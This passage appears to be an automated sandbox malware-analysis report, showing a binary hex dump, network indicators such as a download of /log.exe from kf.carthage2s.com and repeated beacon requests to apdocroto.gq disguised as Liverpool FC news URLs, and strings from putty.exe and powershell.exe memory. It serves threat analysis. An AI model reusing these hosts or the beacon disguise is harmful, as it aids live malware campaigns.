00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 02 00 00 02 00 00 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 6b 00 00 00 00 00 00 48 00 00 00 02 00 05 00 1c 40 00 00 5c 2b 00 00 03 00 00 00 0a 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 22 02 28 0c 00 00 0a 00 2a 42 02 28 0c 00 00 0a 00 00 02 28 09 00 00 06 00 2a 3e 00 02 72 2c 10 00 70 03 6f 2f 00 00 0a 00 2a 22 02 28 30 00 00 0a 00 2a 56 73 0f 00 00 06 28 31 00 00 0a 74 06 00 00 02 80 01 00 00 04 2a 00 13 30 08 00 a8 00 00 00 01 00 00 11 00 14 0a 04 72 01 00 00 70 19 8d 01 00 00 01 25 16 72 15 00 00 70 a2 25 17 72 19 00 00 70 a2 25 18 72 1d 00 00 70 a2 28 07 00 00 0a 72 21 00 00 70 6f 08 00 00 0a 10 02 05 72 23 00 00 70 28 09 00 00 0a 0b 2b 06 fe 16 0a 00 00 01 07 2c 12 00 0e 04 14 04 0e 05 14 14 14 17 28 0a 00 00 0a 0a 00 05 72 27 00 00 70 28 09 00 00 0a 0c 08 2c 10 00 0e 04 14 04 14 14 14 14 28 0b 00 00 0a 0a 00 05 72 2b 00 00 70 28 09 00 00 0a 0d 09 2c 11 00 0e 04 14 04 0e 05 14 14 14 28 0b 00 00 0a 0a 00 06 13 04 2b 00 11 04 2a 1b 30 07 00 b6 06 00 00 02 00 00 11 00 7e 0d 00 00 0a 0a 03 28 0e 00 00 0a 74 0d 00 00 01 0b 2b 06 fe 16 12 00 00 01 07 72 2f 00 00 70 1f 10 8d 01 00 00 01 25 16 72 9d 00 00 70 a2 25 1

Source: global traffic	HTTP traffic detected: GET /log.exe HTTP/1.1Connection: Keep-AliveHost: kf.carthage2s.com
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{24BA44F0-30CA-4646-ACFF-79FC9E14ADCB}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /log.exe HTTP/1.1Connection: Keep-AliveHost: kf.carthage2s.com
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html HTTP/1.1Accept: application/jsonUserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Authorization: Bearer {token}Host: apdocroto.gq

Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: <footer><ul id="section-links"><li><a href="https://www.liverpool.com/liverpool-fc-news/" data-link-tracking="Footer\|Liverpool FC News">Liverpool FC News</a></li><li><a href="https://www.liverpool.com/schedule/" data-link-tracking="Footer\|Schedule">Schedule</a></li><li><a href="https://www.liverpool.com/liverpool-fc-news/features/" data-link-tracking="Footer\|Features">Features</a></li><li><a href="https://www.liverpool.com/all-about/premier-league" data-link-tracking="Footer\|Premier League">Premier League</a></li></ul><div class="social-links"><h4>Follow us<ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|bottom"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|bottom"></a></li></ul></h4></div><div class="kitemarks"><div class="ipso"></div></div><ul id="utility-links"><li><div itemprop="publisher" itemscope="itemscope" itemtype="https://schema.org/NewsMediaOrganization"><meta itemprop="publishingPrinciples" content="https://www.liverpool.com/about-us/"><meta itemprop="name" content="Liverpool.com"><meta itemprop="url" content="https://www.liverpool.com/"><div itemprop="logo" itemscope="itemscope" itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/publications/liverpool/img/logo-liverpool.png"></div></div><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/rules/">Competition Rules</a></li><li><a href="https://www.liverpool.com/how-to-complain/">How to Complain</a></li><li><a href="https://www.liverpool.com/corrections-clarifications/">Corrections & Clarifications</a></li><li><a href="https://www.liverpool.com/privacy-notice/">Privacy Notice</a></li><li><a href="https://www.liverpool.com"> equals www.facebook.com (Facebook)
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: <footer><ul id="section-links"><li><a href="https://www.liverpool.com/liverpool-fc-news/" data-link-tracking="Footer\|Liverpool FC News">Liverpool FC News</a></li><li><a href="https://www.liverpool.com/schedule/" data-link-tracking="Footer\|Schedule">Schedule</a></li><li><a href="https://www.liverpool.com/liverpool-fc-news/features/" data-link-tracking="Footer\|Features">Features</a></li><li><a href="https://www.liverpool.com/all-about/premier-league" data-link-tracking="Footer\|Premier League">Premier League</a></li></ul><div class="social-links"><h4>Follow us<ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|bottom"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|bottom"></a></li></ul></h4></div><div class="kitemarks"><div class="ipso"></div></div><ul id="utility-links"><li><div itemprop="publisher" itemscope="itemscope" itemtype="https://schema.org/NewsMediaOrganization"><meta itemprop="publishingPrinciples" content="https://www.liverpool.com/about-us/"><meta itemprop="name" content="Liverpool.com"><meta itemprop="url" content="https://www.liverpool.com/"><div itemprop="logo" itemscope="itemscope" itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/publications/liverpool/img/logo-liverpool.png"></div></div><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/rules/">Competition Rules</a></li><li><a href="https://www.liverpool.com/how-to-complain/">How to Complain</a></li><li><a href="https://www.liverpool.com/corrections-clarifications/">Corrections & Clarifications</a></li><li><a href="https://www.liverpool.com/privacy-notice/">Privacy Notice</a></li><li><a href="https://www.liverpool.com"> equals www.twitter.com (Twitter)
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: <header class="mod-header" data-mod="header" data-immediate><div class="primary publication-theme-highlight"><a data-link-tracking="Header\|MainLogo\|Image\|liverpool" id="logo" href="/">liverpool</a><a class="icon" id="hamburger" href="#">Load mobile navigation<span></span></a><nav class="primary"><section><ul data-level="1"><li class="has-children"><a data-link-tracking="Header\|SectionLabel\|Text\|Liverpool FC News" href="https://www.liverpool.com/liverpool-fc-news/">Liverpool FC News</a><ul data-level="2"><li><a data-link-tracking="Header\|DropDown\|Text\|Latest News" href="https://www.liverpool.com/liverpool-fc-news/">Latest News</a></li><li><a data-link-tracking="Header\|DropDown\|Text\|Transfer News" href="https://www.liverpool.com/liverpool-fc-news/transfer-news/">Transfer News</a></li></ul><a class="icon toggle" href="#">Expand</a></li><li class="has-children"><a data-link-tracking="Header\|SectionLabel\|Text\|Schedule" href="https://www.liverpool.com/schedule/">Schedule</a><ul data-level="2"><li><a data-link-tracking="Header\|DropDown\|Text\|Premier League" href="https://www.liverpool.com/all-about/premier-league">Premier League</a></li></ul><a class="icon toggle" href="#">Expand</a></li><li><a data-link-tracking="Header\|SectionLabel\|Text\|Features" href="https://www.liverpool.com/liverpool-fc-news/features/">Features</a></li></ul></section></nav><profile-icon lr-custom-id="signin" lr-custom-class="header-profile-icon" lr-gtm-label="header" lr-show-account-link></profile-icon><div class="search"><button class="icon icon-search" id="search-icon" type="button" aria-label="Search"></button></div><div class="search-box hidden"><gcse:searchbox-only resultsUrl="https://www.liverpool.com/search/"></gcse:searchbox-only></div><div class="social-sites"><ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|top"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|top"></a></li></ul></div></div><nav class="secondary" data-smooth-scroll><section><ul class="click-track" data-level="1"><li><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/advertising/">Advertise with us</a></li></ul></section></nav><nav class="footer"><section><ul data-level="1"><li><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/r
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: <header class="mod-header" data-mod="header" data-immediate><div class="primary publication-theme-highlight"><a data-link-tracking="Header\|MainLogo\|Image\|liverpool" id="logo" href="/">liverpool</a><a class="icon" id="hamburger" href="#">Load mobile navigation<span></span></a><nav class="primary"><section><ul data-level="1"><li class="has-children"><a data-link-tracking="Header\|SectionLabel\|Text\|Liverpool FC News" href="https://www.liverpool.com/liverpool-fc-news/">Liverpool FC News</a><ul data-level="2"><li><a data-link-tracking="Header\|DropDown\|Text\|Latest News" href="https://www.liverpool.com/liverpool-fc-news/">Latest News</a></li><li><a data-link-tracking="Header\|DropDown\|Text\|Transfer News" href="https://www.liverpool.com/liverpool-fc-news/transfer-news/">Transfer News</a></li></ul><a class="icon toggle" href="#">Expand</a></li><li class="has-children"><a data-link-tracking="Header\|SectionLabel\|Text\|Schedule" href="https://www.liverpool.com/schedule/">Schedule</a><ul data-level="2"><li><a data-link-tracking="Header\|DropDown\|Text\|Premier League" href="https://www.liverpool.com/all-about/premier-league">Premier League</a></li></ul><a class="icon toggle" href="#">Expand</a></li><li><a data-link-tracking="Header\|SectionLabel\|Text\|Features" href="https://www.liverpool.com/liverpool-fc-news/features/">Features</a></li></ul></section></nav><profile-icon lr-custom-id="signin" lr-custom-class="header-profile-icon" lr-gtm-label="header" lr-show-account-link></profile-icon><div class="search"><button class="icon icon-search" id="search-icon" type="button" aria-label="Search"></button></div><div class="search-box hidden"><gcse:searchbox-only resultsUrl="https://www.liverpool.com/search/"></gcse:searchbox-only></div><div class="social-sites"><ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|top"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|top"></a></li></ul></div></div><nav class="secondary" data-smooth-scroll><section><ul class="click-track" data-level="1"><li><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/advertising/">Advertise with us</a></li></ul></section></nav><nav class="footer"><section><ul data-level="1"><li><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/r
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: <meta property="og:site_name" content="Liverpool.com"><meta property="og:language" content="en"><meta property="og:type" content="article"><meta property="og:title" content="The Brewster Experience has underdelivered so far, but that will change"><meta property="og:url" content="https://www.liverpool.com/liverpool-fc-news/features/rhian-brewster-liverpool-arsenal-team-17172763"><meta property="og:description" content="Rhian Brewster was hyped up before the start of the season, but was that fair?"><meta property="og:image" content="https://i2-prod.liverpoolecho.co.uk/incoming/article17172788.ece/ALTERNATES/s1200/1_GettyImages-1178657262.jpg"><meta property="og:section" content="Features"><meta property="article:tag" content="Rhian Brewster"><meta property="article:author" content="https://www.facebook.com/kristianwalsh1987/"><meta property="article:published_time" content="2019-10-30T16:00:00Z"><meta property="article:modified_time" content="2019-10-30T15:36:53Z"><meta property="article:expiration_time" content="2019-11-29T15:36:53Z"><meta property="article:section" content="Features"><meta property="article:id" content="liverpool-17172763"> equals www.facebook.com (Facebook)
Source: powershell.exe, 00000004.00000002.2128582463.0000000002A50000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2130642346.0000000002D00000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: n, Gomez/Lovren, James Milner, Oxlade-Chamberlain, Naby Keita and Divock Origi. An impressive outing against Arsenal could nudge him ahead of Adam Lallana, or even Harvey Elliott, in the fight for that seventh spot.</p> <p>The world is still expected to be at Brewster's feet at Liverpool. It is just a matter of waiting for him to be passed it.</p><!-- Article End--></div><div id="social-follow" data-mod="socialFollow"><div id="social-methods"><div class="facebook-share"><span class="icon facebook large"></span><div class="fb-like" data-href="https://www.facebook.com/liverpooldotcom" data-layout="button_count" data-action="like" data-size="large" data-width="300" data-show-faces="false" data-share="false"></div><span class="page-name">liverpooldotcom</span></div><div class="twitter-share" data-follow-url="https://twitter.com/intent/follow?screen_name=liverpoolcom_"><span class="icon twitter large"></span><a>Follow @<span>liverpoolcom_</span></a></div></div></div><div class="tag-list"><span class="publication-theme-border publication-theme-icon">More On</span><ul><li><a class="publication-theme-button-highlight" href="https://www.liverpool.com/all-about/rhian-brewster" data-link-tracking="EndArticle\|Tag">Rhian Brewster</a></li></ul></div></div><aside class="related-column secondary"></aside></div></article> equals www.facebook.com (Facebook)
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: n, Gomez/Lovren, James Milner, Oxlade-Chamberlain, Naby Keita and Divock Origi. An impressive outing against Arsenal could nudge him ahead of Adam Lallana, or even Harvey Elliott, in the fight for that seventh spot.</p> <p>The world is still expected to be at Brewster's feet at Liverpool. It is just a matter of waiting for him to be passed it.</p><!-- Article End--></div><div id="social-follow" data-mod="socialFollow"><div id="social-methods"><div class="facebook-share"><span class="icon facebook large"></span><div class="fb-like" data-href="https://www.facebook.com/liverpooldotcom" data-layout="button_count" data-action="like" data-size="large" data-width="300" data-show-faces="false" data-share="false"></div><span class="page-name">liverpooldotcom</span></div><div class="twitter-share" data-follow-url="https://twitter.com/intent/follow?screen_name=liverpoolcom_"><span class="icon twitter large"></span><a>Follow @<span>liverpoolcom_</span></a></div></div></div><div class="tag-list"><span class="publication-theme-border publication-theme-icon">More On</span><ul><li><a class="publication-theme-button-highlight" href="https://www.liverpool.com/all-about/rhian-brewster" data-link-tracking="EndArticle\|Tag">Rhian Brewster</a></li></ul></div></div><aside class="related-column secondary"></aside></div></article> equals www.twitter.com (Twitter)

Source: unknown

DNS traffic detected: queries for: kf.carthage2s.com

Source: putty.exe, 00000003.00000003.2081168632.000000000568F000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000004.00000002.2128582463.0000000002A50000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2130642346.0000000002D00000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: powershell.exe, 00000004.00000002.2128582463.0000000002A50000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2130642346.0000000002D00000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000004.00000002.2129147801.0000000002C37000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2132238983.0000000002EE7000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2134950894.0000000002D27000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.2314009764.0000000002DA7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: powershell.exe, 00000004.00000002.2129147801.0000000002C37000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2132238983.0000000002EE7000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2134950894.0000000002D27000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.2314009764.0000000002DA7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/BreadcrumbList
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/ListItem
Source: putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/NewsArticle
Source: powershell.exe, 00000004.00000002.2124390308.00000000020F0000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2128414389.0000000002520000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: powershell.exe, 00000004.00000002.2129147801.0000000002C37000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2132238983.0000000002EE7000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2134950894.0000000002D27000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.2314009764.0000000002DA7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000004.00000002.2129147801.0000000002C37000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2132238983.0000000002EE7000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2134950894.0000000002D27000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.2314009764.0000000002DA7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000004.00000002.2124390308.00000000020F0000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2128414389.0000000002520000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: powershell.exe, 00000004.00000002.2128582463.0000000002A50000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2130642346.0000000002D00000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
